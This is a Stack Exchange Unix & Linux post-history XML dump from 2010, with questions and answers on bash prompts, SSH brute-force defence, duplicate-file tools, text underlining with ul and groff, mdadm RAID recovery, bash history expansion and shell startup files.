  <row Id="6380" PostHistoryTypeId="2" PostId="3038" RevisionGUID="8a747de0-d78d-4382-858f-ad1fbbc19d64" CreationDate="2010-10-12T19:29:44.730" UserId="1974" Text="As others have said, this is determined by the environment vars `PS1` and `PS2`.&#xD;&#xA;&#xD;&#xA;Ubuntu's default `ps1` is: `${debian_chroot:+($debian_chroot)}\u@\h:\w\$`&#xD;&#xA;&#xD;&#xA;So you'll want to run the following:&#xD;&#xA;&#xD;&#xA;`export PS1=${debian_chroot:+($debian_chroot)}\u@\h:\w\$`&#xD;&#xA;&#xD;&#xA;To run that every time you log in, put it in your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    echo &quot;export PS1=${debian_chroot:+($debian_chroot)}\u@\h:\w\$&quot; &gt;&gt; ~/.bashrc" />
  <row Id="6381" PostHistoryTypeId="2" PostId="3039" RevisionGUID="8d79438e-685b-4e99-9dcc-573e0c27c655" CreationDate="2010-10-12T19:58:12.780" UserId="885" Text="A simple and in practice effective protection against scan-based attacks is not to use the standard port. 443 (the https port) exposes you to different brute-force attacks that aren't going to crack your weak passwords, and possibly works through more firewalls than the default port (22).&#xD;&#xA;&#xD;&#xA;Most methods to prevent ssh brute force attacks are great ways to self-DoS (oops, I screwed up the configuration! Oops, the attacker comes from/has subverted a machine in the same subnet as me (dynamic IP range, college network...)! Oops, I did a bunch of quick rsync's and am now banned for the day!).&#xD;&#xA;&#xD;&#xA;If you have good passwords, or you can live without password authentication, disable password authentication. (Keys and one-time passwords are sufficient for most use cases: if you don't trust the client machine enough to store an ssh key, you don't trust it not to have a keylogger either). Then brute force attacks will cost you a bit of CPU and bandwidth but don't expose you to an intrusion (as long as you've checked none of your keys came from a [Debian low-entropy OpenSSL](http://digitaloffense.net/tools/debian-openssl/)).&#xD;&#xA;" />
  <row Id="6382" PostHistoryTypeId="2" PostId="3040" RevisionGUID="df6d5ae3-29c3-4d3c-bcd8-c39c51d56a4b" CreationDate="2010-10-12T20:00:38.433" UserId="1327" Text="To find duplicate files you can use **[duff][1]**.&#xD;&#xA;&#xD;&#xA;&gt; Duff is a Unix command-line utility&#xD;&#xA;&gt; for quickly finding duplicates in a&#xD;&#xA;&gt; given set of files. &#xD;&#xA;&#xD;&#xA;Simply run:&#xD;&#xA;&#xD;&#xA;    duff -r target-folder&#xD;&#xA;&#xD;&#xA;To create hardlinks to those files automaticly, you will need to parse the output of **duff** with *bash* or  some other scripting language.&#xD;&#xA;&#xD;&#xA;[1]:http://duff.sourceforge.net/" />
  <row Id="6383" PostHistoryTypeId="2" PostId="3041" RevisionGUID="0b05ff40-099e-4199-9586-6eb99c48cd48" CreationDate="2010-10-12T20:03:26.193" UserId="33" Text="Use the `fdupes` tool: &#xD;&#xA;&#xD;&#xA;`fdupes -r /path/to/folder` gives you a list of duplicates in the directory (-r makes it recursive). The output looks like this:&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;filename1  &#xD;&#xA;filename2  &#xD;&#xA;&#xD;&#xA;filename3  &#xD;&#xA;filename4  &#xD;&#xA;filename5&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;with filename1 and filename2 being identical and filename3, filename4 and filename5 also being identical." />
  <row Id="6384" PostHistoryTypeId="2" PostId="3042" RevisionGUID="b035d647-03e1-453a-966f-34722f76f0ee" CreationDate="2010-10-12T20:04:50.200" UserId="1941" Text="There is a perl script at http://cpansearch.perl.org/src/ANDK/Perl-Repository-APC-2.002/eg/trimtrees.pl which does exactly what you want:&#xD;&#xA;&#xD;&#xA;&gt; Traverse all directories named on the&#xD;&#xA;&gt; command line, compute MD5 checksums&#xD;&#xA;&gt; and find files with identical MD5. IF&#xD;&#xA;&gt; they are equal, do a real comparison&#xD;&#xA;&gt; if they are really equal, replace the&#xD;&#xA;&gt; second of two files with a hard link&#xD;&#xA;&gt; to the first one." />
  <row Id="6385" PostHistoryTypeId="2" PostId="3043" RevisionGUID="b471048a-211d-4578-b8f3-134c3a137e69" CreationDate="2010-10-12T20:16:32.537" UserId="2264" Text="I currently have a file that I'd like to pass through a `_roff` to format with underline a few words in the file, and then view the file in `less`.  Just a few, mind you, not whole sections or anything.&#xD;&#xA;&#xD;&#xA;**How do i underline specific words in a file with `_roff`?**&#xD;&#xA;&#xD;&#xA;NB:  I know I have groff and nroff.  &#xD;&#xA;NNB:  I don't know a whole lot about type formatting." />
  <row Id="6386" PostHistoryTypeId="1" PostId="3043" RevisionGUID="b471048a-211d-4578-b8f3-134c3a137e69" CreationDate="2010-10-12T20:16:32.537" UserId="2264" Text="Use _roff to underline words." />
  <row Id="6387" PostHistoryTypeId="3" PostId="3043" RevisionGUID="b471048a-211d-4578-b8f3-134c3a137e69" CreationDate="2010-10-12T20:16:32.537" UserId="2264" Text="élessà" />
  <row Id="6388" PostHistoryTypeId="2" PostId="3044" RevisionGUID="b84ad8ba-683d-40ff-97b2-aee30e269263" CreationDate="2010-10-12T20:46:42.290" UserId="1941" Text="I wanted to answer http://unix.stackexchange.com/questions/3043/use-roff-to-underline-words with &quot;just use ul, this command is meant specifically for underlining text&quot;, however I just can't grasp how to use it. I thought&#xD;&#xA;&#xD;&#xA;    $ echo &quot;hello _kitty_ world&quot; &gt; /tmp/foo.txt&#xD;&#xA;    $ ul /tmp/foo.txt&#xD;&#xA;&#xD;&#xA;would give me an underlined &quot;kitty&quot;, however it doesn't. What am I doing wrong?" />
  <row Id="6389" PostHistoryTypeId="1" PostId="3044" RevisionGUID="b84ad8ba-683d-40ff-97b2-aee30e269263" CreationDate="2010-10-12T20:46:42.290" UserId="1941" Text="How to use the ul command line utility" />
  <row Id="6390" PostHistoryTypeId="3" PostId="3044" RevisionGUID="b84ad8ba-683d-40ff-97b2-aee30e269263" CreationDate="2010-10-12T20:46:42.290" UserId="1941" Text="écommandölineàéterminalàéutilitiesàéutilölinuxà" />
  <row Id="6391" PostHistoryTypeId="5" PostId="3039" RevisionGUID="a712ba0c-0f0e-40ef-8e17-a52d530791bd" CreationDate="2010-10-12T20:54:13.630" UserId="885" Comment="mention port knocking; mention source IP whitelisting; mention IPv6" Text="A simple and in practice effective protection against scan-based attacks is not to use the standard port. 443 (the https port) exposes you to different brute-force attacks that aren't going to crack your weak passwords, and possibly works through more firewalls than the default port (22).&#xD;&#xA;&#xD;&#xA;Most methods to prevent ssh brute force attacks are great ways to self-DoS (oops, I screwed up the configuration! Oops, I did a bunch of quick rsync's and am now banned for the day!) or assisted-self-DoS (Oops, the attacker comes from/has subverted a machine in the same subnet as me (dynamic IP range, college network...) and I'm getting banned as well!).&#xD;&#xA;&#xD;&#xA;If you only log in from a few places, you can just whitelist source IP addresses. That's obviously no good if you want to ssh from your laptop or cell phone on the go.&#xD;&#xA;&#xD;&#xA;Having an ssh daemon that only listens to IPv6 connections should protect you from scans for a few years yet. But many firewalls won't let you transport IPv6 in any reasonable way.&#xD;&#xA;&#xD;&#xA;Another method you don't mention is [port knocking](http://en.wikipedia.org/wiki/Port_knocking). It doesn't suffer from as self-DoS problems (other than misconfiguration), but it doesn't cross firewalls well, and can add several seconds' latency to connection establishment.&#xD;&#xA;&#xD;&#xA;If you have good passwords, or you can live without password authentication, disable password authentication. (Keys and one-time passwords are sufficient for most use cases: if you don't trust the client machine enough to store an ssh key, you don't trust it not to have a keylogger either). Then brute force attacks will cost you a bit of CPU and bandwidth but don't expose you to an intrusion (as long as you've checked none of your keys came from a [Debian low-entropy OpenSSL](http://digitaloffense.net/tools/debian-openssl/)).&#xD;&#xA;" />
  <row Id="6393" PostHistoryTypeId="2" PostId="3046" RevisionGUID="29d0f896-f08c-4f17-80f4-417b654a01f2" CreationDate="2010-10-12T21:53:47.603" UserId="885" Text="The input format requires character-backspace-underscore or character-backspace-letter to underline a character. You also get boldface with character-backspace-character.&#xD;&#xA;&#xD;&#xA;    echo $'hello k\b_i\b_t\b_t\b_y\b_ world' | ul&#xD;&#xA;&#xD;&#xA;Less does a similar transformation automatically.&#xD;&#xA;" />
  <row Id="6394" PostHistoryTypeId="2" PostId="3047" RevisionGUID="60295118-7795-4bfe-98b2-24b8e66f9b42" CreationDate="2010-10-12T22:06:35.877" UserId="885" Text="At least with groff (I'm not sure it's portable), `.ul` gives you underline.&#xD;&#xA;&#xD;&#xA;    groff -Tascii &lt;'&lt;EOF'&#xD;&#xA;    This is a single line&#xD;&#xA;    .ul&#xD;&#xA;    with four underlined words&#xD;&#xA;    and more non-underline words.&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;If the only formatting you want is underlining, there may be an easier way. For example `less` automatically converts the sequence character-backspace-underscore (or underscore-backspace-character) to the underlined character; it also converts character-backspace-character to boldface.&#xD;&#xA;&#xD;&#xA;    echo $'one u\b_n\b_d\b_e\b_r\b_l\b_i\b_n\b_e\b_d\b_ word' | less&#xD;&#xA;" />
  <row Id="6395" PostHistoryTypeId="5" PostId="2939" RevisionGUID="f907deeb-89bd-4679-ab5f-e81e37a3cf34" CreationDate="2010-10-13T01:26:22.370" UserId="195" Comment="deleted 82 characters in body" Text="I was a lab assistant for a linux class. One of the students, called me over because she could no longer `su -` because she was getting permission denied. OK, she's misremembered/mistyped the password. Reboot into single-user mode and reset. What?! `su` STILL doesn't work?! It MUST bow to my will! So I reboot into single user mode to find out what she did. I realized that she ran `chmod -R 777 /var/www/html/drupal-6.19 /`&#xD;&#xA;&#xD;&#xA;Note the space between the directory name and the final slash.&#xD;&#xA;&#xD;&#xA;After a few minutes of &quot;I really don't want to have her reinstall, so what is this doing and how.&quot;, I managed to find that /bin/su now had file permissions of 777. That can also be read as file permissions of 0777, which removes the setuid bit from /bin/su. A quick `chmod u+s /bin/su` and I was a hero." />
  <row Id="6396" PostHistoryTypeId="6" PostId="2954" RevisionGUID="51cf6344-2916-4749-a04b-8af74029c506" CreationDate="2010-10-13T01:31:31.727" UserId="29" Comment="remove &quot;selinux&quot; tag. not really needed just because I mentioned it." Text="ésecurityàépermissionsà" />
  <row Id="6397" PostHistoryTypeId="2" PostId="3048" RevisionGUID="63003c8b-edd7-45c4-92ef-62b6b0a47d67" CreationDate="2010-10-13T01:48:23.330" UserId="29" Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same 2 drives 2. Each time the partition on sda failed. dmesg told me that sda was out of sync... Since this was from a rescue cd. I've disconnected sda (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor) missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;" />
  <row Id="6398" PostHistoryTypeId="1" PostId="3048" RevisionGUID="63003c8b-edd7-45c4-92ef-62b6b0a47d67" CreationDate="2010-10-13T01:48:23.330" UserId="29" Text="Drive was unable to assemble into the array" />
  <row Id="6399" PostHistoryTypeId="3" PostId="3048" RevisionGUID="63003c8b-edd7-45c4-92ef-62b6b0a47d67" CreationDate="2010-10-13T01:48:23.330" UserId="29" Text="élinuxàémdadmà" />
  <row Id="6400" PostHistoryTypeId="6" PostId="3012" RevisionGUID="a62a1e1a-2cfe-4f9a-8d9e-76e72eb65247" CreationDate="2010-10-13T01:55:36.830" UserId="29" Comment="not really an arch question" Text="ébashàépromptà" />
  <row Id="6401" PostHistoryTypeId="5" PostId="3048" RevisionGUID="744173d7-f3dc-4f77-9f61-de1acecf56e4" CreationDate="2010-10-13T02:02:44.277" UserId="73" Comment="added 11 characters in body" Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;" />
  <row Id="6402" PostHistoryTypeId="5" PostId="3048" RevisionGUID="11dd0a43-8f4e-4766-89b4-38328b604bfe" CreationDate="2010-10-13T02:27:41.347" UserId="1207" Comment="fixed some markup" Text="I ran&#xD;&#xA;&#xD;&#xA;    mdadm -A /dev/md0 /dev/sda1 /dev/sdb1&#xD;&#xA;&#xD;&#xA;Only `/dev/sdb1` was loaded into the array though. I have a few more arrays on the same two drives too. Each time the partition on `sda` failed. `dmesg` told me that `sda` was out of sync... Since this was from a rescue cd. I've disconnected `sda` (hardware wise) for the time being, since it was preventing me from booting.&#xD;&#xA;&#xD;&#xA;How should I proceed? Is this likely the cause of a borked drive? I had some weird fs issues the other day I couldn't track down (maybe a precursor): missing files that later magically re-appeared. Maybe a missing cable?&#xD;&#xA;&#xD;&#xA;The main question is how do I try to re-sync the drive?&#xD;&#xA;&#xD;&#xA;    cat /proc/mdstat&#xD;&#xA;    Personalities : [raid10] &#xD;&#xA;    md3 : active raid10 sda4[1]&#xD;&#xA;          955683840 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md2 : active raid10 sda3[1]&#xD;&#xA;          10483712 blocks super 1.2 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md1 : active raid10 sda2[1]&#xD;&#xA;          10484736 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    md0 : active raid10 sda1[1]&#xD;&#xA;          101376 blocks 512K chunks 2 far-copies [2/1] [_U]&#xD;&#xA;          &#xD;&#xA;    unused devices: &lt;none&gt;&#xD;&#xA;" />
  <row Id="6403" PostHistoryTypeId="6" PostId="3037" RevisionGUID="e1d6ef67-b079-41fb-8d79-0b689399c5f7" CreationDate="2010-10-13T02:36:30.473" UserId="29" Comment="edited tags" Text="éfilesàéduplicateà" />
  <row Id="6404" PostHistoryTypeId="2" PostId="3049" RevisionGUID="d8c88cd6-414e-4366-90c9-94e5b9370faf" CreationDate="2010-10-13T05:13:29.297" UserId="2031" Text="Since your main target is to save disk space, there is another solution: de-duplication (and probably compression) on file system level. Compared with the hard-link solution, it does not have the problem of inadvertently affecting other linked files.&#xD;&#xA;&#xD;&#xA;ZFS has dedup (block-level, not file-level) since pool version 23 and compression since long time ago.&#xD;&#xA;If you are using linux, you may try [zfs-fuse][1], or if you use BSD, it is natively supported.&#xD;&#xA;&#xD;&#xA;  [1]: http://zfs-fuse.net/releases/0.6.9&#xD;&#xA;" />
  <row Id="6405" PostHistoryTypeId="5" PostId="3000" RevisionGUID="ad688f4f-1566-4ac4-bc65-f7704489e767" CreationDate="2010-10-13T05:29:21.437" UserId="2046" Comment="added 789 characters in body" Text="Update:&#xD;&#xA;&#xD;&#xA;I did some more research and it looks like it's *NOT* simply rdp tunneled over tls.  So, stunnel is not going to work for this scenario. &#xD;&#xA;&#xD;&#xA;Now, I still don't know exactly how the gateway works - the protocols could be standard, or they could be some proprietary thing that Microsoft put together.  But who knows - you might get lucky and it be something standard.&#xD;&#xA;&#xD;&#xA;The next thing I would try is [ProxyTunnel][1].  If the gateway is a standard CONNECT proxy, then it might work.  The command would be something along these lines -&#xD;&#xA;&#xD;&#xA;    proxytunnel -a local_port -p gateway_server:port -d destination_server:port&#xD;&#xA;&#xD;&#xA;then rdp to localhost on local_port.&#xD;&#xA;&#xD;&#xA;I can't promise it'll work, but it's worth a try...&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If it's just a simple tls proxy, (plain rdp is tunneled over tls) you can try [stunnel][2].&#xD;&#xA;&#xD;&#xA;Set up an stunnel from localhost:some_port to gateway:rdp_port, then point your rdp client to localhost:some_port.&#xD;&#xA;&#xD;&#xA;But if there's some other protocol involved (other than rdp and tls) then you're likely to need a client that supports that protocol. In which case, does the MS RDP client work under WINE?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://proxytunnel.sourceforge.net/usage.php&#xD;&#xA;  [2]: http://www.stunnel.org/" />
  <row Id="6406" PostHistoryTypeId="2" PostId="3050" RevisionGUID="e3b3bad4-7af9-4d27-8da0-542cba672f44" CreationDate="2010-10-13T06:08:15.637" UserId="1071" Text="Since you asked specifically about Arch (well, it doesn't really matter, but it makes a nice excuse to add to the answers...), you should look at this entry in the Arch Wiki: &lt;a href=&quot;http://wiki.archlinux.org/index.php/Color_Bash_Prompt&quot;&gt;Color Bash Prompt&lt;/a&gt;. And for even more fun, this thread in the Arch Forums: &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=50885&amp;p=1&quot;&gt;What's your PS1?&lt;/a&gt;. (Pages and pages of people trying to outdo each other with more and more elaborate prompts.... that's the typical Arch user for you.)" />
  <row Id="6407" PostHistoryTypeId="2" PostId="3051" RevisionGUID="70e78474-be49-453f-9176-fa6f57c47c0e" CreationDate="2010-10-13T08:44:19.210" UserId="1327" Text="I tried to create a script by `echo`'ing the contents into a file, instead of opening it with a editor&#xD;&#xA;&#xD;&#xA;    echo -e &quot;#!/bin/bash \n /usr/bin/command args&quot;  &gt; .scripts/command&#xD;&#xA;&#xD;&#xA;The **output**:&#xD;&#xA;&#xD;&#xA;&gt; bash: !/bin/bash: event not found&#xD;&#xA;&#xD;&#xA;I've isolated this strange behavior to the [bang][1].&#xD;&#xA;&#xD;&#xA;    $ echo !&#xD;&#xA;    !  &#xD;&#xA;&#xD;&#xA;    $ echo &quot;!&quot;&#xD;&#xA;    bash: !: event not found&#xD;&#xA;&#xD;&#xA;    $ echo \#!&#xD;&#xA;    #!&#xD;&#xA;&#xD;&#xA;    $ echo \#!/bin/bash&#xD;&#xA;    bash: !/bin/bash: event not found&#xD;&#xA;&#xD;&#xA;- Why is bang causing this?  &#xD;&#xA;- What are these &quot;events&quot; that bash refers to?    &#xD;&#xA;- How do I get past this problem and print &quot;#!/bin/bash&quot; to the screen or my file?&#xD;&#xA;&#xD;&#xA;[1]:http://www.catb.org/jargon/html/B/bang.html" />
  <row Id="6408" PostHistoryTypeId="1" PostId="3051" RevisionGUID="70e78474-be49-453f-9176-fa6f57c47c0e" CreationDate="2010-10-13T08:44:19.210" UserId="1327" Text="How to echo a bang!" />
  <row Id="6409" PostHistoryTypeId="3" PostId="3051" RevisionGUID="70e78474-be49-453f-9176-fa6f57c47c0e" CreationDate="2010-10-13T08:44:19.210" UserId="1327" Text="écommandölineàébashàéechoà" />
  <row Id="6410" PostHistoryTypeId="2" PostId="3052" RevisionGUID="97baea78-c770-4cd5-b829-a1bff534a250" CreationDate="2010-10-13T09:01:19.180" UserId="1327" Text="Is `~/.bashrc`  the only place where I can specify **user specific** ENV Variables, aliases, modifications to PATH variable, etc?&#xD;&#xA;&#xD;&#xA;I ask because it seems that `~/.bashrc` would be bash only..." />
  <row Id="6411" PostHistoryTypeId="1" PostId="3052" RevisionGUID="97baea78-c770-4cd5-b829-a1bff534a250" CreationDate="2010-10-13T09:01:19.180" UserId="1327" Text="Alternative to .bashrc" />
  <row Id="6412" PostHistoryTypeId="3" PostId="3052" RevisionGUID="97baea78-c770-4cd5-b829-a1bff534a250" CreationDate="2010-10-13T09:01:19.180" UserId="1327" Text="ébashà" />
  <row Id="6413" PostHistoryTypeId="2" PostId="3053" RevisionGUID="5215ceb5-08c4-43bc-93e1-1b792468a892" CreationDate="2010-10-13T09:17:30.297" UserId="1144" Text="Try using single quotes.&#xD;&#xA;&#xD;&#xA;    echo '#!'&#xD;&#xA;&#xD;&#xA;    echo '#!/bin/bash'&#xD;&#xA;&#xD;&#xA;The problem is occurring because bash is searching its history for !/bin/bash. Using single quotes escapes this behaviour." />
  <row Id="6414" PostHistoryTypeId="2" PostId="3054" RevisionGUID="f2af4521-821b-4333-b89c-2c272cdc3cfa" CreationDate="2010-10-13T09:19:08.453" UserId="1339" Text="There is no such thing like a environment config file for different shells, because its even shell specific how they are defined.&#xD;&#xA;&#xD;&#xA;In csh you use `setenv` in bash you use `export` to define them.&#xD;&#xA;&#xD;&#xA;Anyway you could write your own config file and include it with `source` in the dotfiles of your shells." />
  <row Id="6415" PostHistoryTypeId="5" PostId="3053" RevisionGUID="6119af5a-1fdf-429c-8bc8-d32a3107f6cf" CreationDate="2010-10-13T09:24:30.250" UserId="1144" Comment="added 74 characters in body" Text="Try using single quotes.&#xD;&#xA;&#xD;&#xA;    echo -e '#!/bin/bash \n /usr/bin/command args'  &gt; .scripts/command&#xD;&#xA;&#xD;&#xA;    echo '#!'&#xD;&#xA;&#xD;&#xA;    echo '#!/bin/bash'&#xD;&#xA;&#xD;&#xA;The problem is occurring because bash is searching its history for !/bin/bash. Using single quotes escapes this behaviour." />
  <row Id="6417" PostHistoryTypeId="2" PostId="3056" RevisionGUID="6c00d4fb-d768-47cb-8329-67c2cd4d896c" CreationDate="2010-10-13T09:41:02.173" UserId="1416" Text="Is it possible to persist the &quot;state&quot; of a GNU screen window (or just a standard shell) so that I can reload everything after a reboot? By state I mean:&#xD;&#xA;&#xD;&#xA;- The number of opened shells&#xD;&#xA;- The name of each shell&#xD;&#xA;- The current directory of each shell&#xD;&#xA;- The history of each shell&#xD;&#xA;- If possible, their environment variables&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="6418" PostHistoryTypeId="1" PostId="3056" RevisionGUID="6c00d4fb-d768-47cb-8329-67c2cd4d896c" CreationDate="2010-10-13T09:41:02.173" UserId="1416" Text="Persisting shell session state or GNU screen session state across reboot" />
  <row Id="6419" PostHistoryTypeId="3" PostId="3056" RevisionGUID="6c00d4fb-d768-47cb-8329-67c2cd4d896c" CreationDate="2010-10-13T09:41:02.173" UserId="1416" Text="éshellàéscreenà" />
  <row Id="6420" PostHistoryTypeId="2" PostId="3057" RevisionGUID="7495beda-9dbd-4d95-a078-bcf0fe3af042" CreationDate="2010-10-13T09:50:51.297" UserId="1941" Text="You could try to &quot;freeze&quot; the state of the screen process to disk before reboot with [cryopid][1]. (However I never actually tried this, so I'm not sure if it works.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cryopid.berlios.de/" />
  <row Id="6421" PostHistoryTypeId="12" PostId="3057" RevisionGUID="1fcf6979-d791-4497-b53d-239dafec777f" CreationDate="2010-10-13T09:51:37.333" UserId="1941" Text="[{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;}]" />
  <row Id="6422" PostHistoryTypeId="2" PostId="3058" RevisionGUID="221b8438-25a8-4885-a0b1-565b24bafd10" CreationDate="2010-10-13T10:15:11.947" UserId="1339" Text="It is not really possible to save a complete screen session.&#xD;&#xA;&#xD;&#xA;What you can do is to create a proper `.screenrc` which will setup some things after you restarted your system.&#xD;&#xA;&#xD;&#xA;Here are some comments to the things you listed:&#xD;&#xA;&#xD;&#xA;- The number of opened shells&#xD;&#xA;- The name of each shell&#xD;&#xA;- The current directory of each shell&#xD;&#xA;&#xD;&#xA;I use something like this in my `.screenrc` to open some specific shells on startup:&#xD;&#xA;&#xD;&#xA;    ## set the default shell&#xD;&#xA;    shell                   zsh&#xD;&#xA;    &#xD;&#xA;    # screens&#xD;&#xA;    screen -t 'zsh'&#xD;&#xA;    screen -t 'mutt' mutt&#xD;&#xA;    screen -t 'zsh' /home/user/bin/scriptToRun&#xD;&#xA;    [..]&#xD;&#xA;&#xD;&#xA;You will get the string between '' as your window name and the command after the name will be executed on your default shell. Include any script you want, for example change in a specific directory and open some logs.&#xD;&#xA;&#xD;&#xA;- The history of each shell&#xD;&#xA;&#xD;&#xA;Have you ever thought about sharing the history of the shells across your sessions? IMHO this makes things much more easier. In ZSH its done with `setopt SHARE_HISTORY` in your `.zshrc`&#xD;&#xA;&#xD;&#xA;- If possible, their environment variables&#xD;&#xA;&#xD;&#xA;If you really need this and don't want any trade-off you could think about a shell script, which reads out the current state of screen, saves the number of shells, environment variables, etc. and puts this information in a startup script called by your `.screenrc`.&#xD;&#xA;For me this would not be worth the effort because I appreciate a clean environment after a reboot, if I can customize the default windows for screen." />
  <row Id="6423" PostHistoryTypeId="5" PostId="3057" RevisionGUID="cd18b1c7-64d2-41b8-8db1-2f9582bfcb45" CreationDate="2010-10-13T10:27:25.777" UserId="1941" Comment="added 185 characters in body" Text="There is a tool to freeze the state of a process called [cryopid][1]. However, currently it doesn't work with screen as it doesn't support re-creating a hierarchy of sub-processes. They state that they want to achieve this in the future but the project doesn't seem to be too active at the moment. Nevertheless, you might want to trace their progress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cryopid.berlios.de/" />
  <row Id="6424" PostHistoryTypeId="4" PostId="3056" RevisionGUID="da569d48-853a-45e2-8211-67e6e921bd7a" CreationDate="2010-10-13T10:34:28.860" UserId="1339" Comment="shortened the title to clearify the question" Text="Save complete GNU screen session state" />
  <row Id="6425" PostHistoryTypeId="13" PostId="3057" RevisionGUID="b6b616c5-8ce3-4468-acc5-0138b3c1e64b" CreationDate="2010-10-13T11:21:10.733" UserId="1941" Text="[{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;}]" />
  <row Id="6426" PostHistoryTypeId="5" PostId="3057" RevisionGUID="440d7b58-e6de-49d9-bf59-544d00fd0b30" CreationDate="2010-10-13T12:26:33.020" UserId="1941" Comment="added 4 characters in body" Text="There is a tool to freeze the state of a process called [cryopid][1]. However, currently it doesn't work with GNU screen as it doesn't support re-creating a hierarchy of sub-processes. They state that they want to achieve this in the future but the project doesn't seem to be too active at the moment. Nevertheless, you might want to trace their progress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cryopid.berlios.de/" />
  <row Id="6429" PostHistoryTypeId="2" PostId="3059" RevisionGUID="6f051306-5d70-4052-b99a-1c22f78bbf0a" CreationDate="2010-10-13T12:50:11.393" UserId="2045" Text="I need xfontsel to select right font for xterm. But its not installed. I tried `yum` but it returned &#xD;&#xA;&#xD;&#xA;&gt;Warning: No matches found for: xfontsel &lt;br/&gt;&#xD;&#xA;&gt;No Matches found&#xD;&#xA;&#xD;&#xA;I googled for xfontsel source code to compile myself but didn't get any link for that.&#xD;&#xA;&#xD;&#xA; 1. How can I install xfontsel on Fedora 13?&#xD;&#xA; 2. Its not installed by default and neither it is available in `yum` repo. So does this mean Fedora will not include it anymore? Why?&#xD;&#xA; 3. Any alternative to xfontsel? I tried `xlsfonts` but it does not give preview of fonts.&#xD;&#xA;&#xD;&#xA;Thanks for your time and help." />
  <row Id="6430" PostHistoryTypeId="1" PostId="3059" RevisionGUID="6f051306-5d70-4052-b99a-1c22f78bbf0a" CreationDate="2010-10-13T12:50:11.393" UserId="2045" Text="How to install xfontsel on Fedora 13? Any alternative?" />
  <row Id="6431" PostHistoryTypeId="3" PostId="3059" RevisionGUID="6f051306-5d70-4052-b99a-1c22f78bbf0a" CreationDate="2010-10-13T12:50:11.393" UserId="2045" Text="éfedoraàéxorgàéfontsà" />
  <row Id="6432" PostHistoryTypeId="2" PostId="3060" RevisionGUID="6cfc9ace-df43-4ab8-8a09-a7bd1a7f96ee" CreationDate="2010-10-13T13:43:00.243" UserId="1294" Text="The file `$HOME/.profile` is used by a number of shells, including bash, sh, dash, zsh and possibly others.&#xD;&#xA;&#xD;&#xA;From the bash man page:&#xD;&#xA;&#xD;&#xA;&gt; When bash is invoked as an interactive login shell, ... it first reads and executes commands from the file /etc/profile, if that file exists.   After  reading that file, it looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable.&#xD;&#xA;&#xD;&#xA;csh and tcsh explicitly don't look at `~/.profile` but those shells are kinda antiquated." />
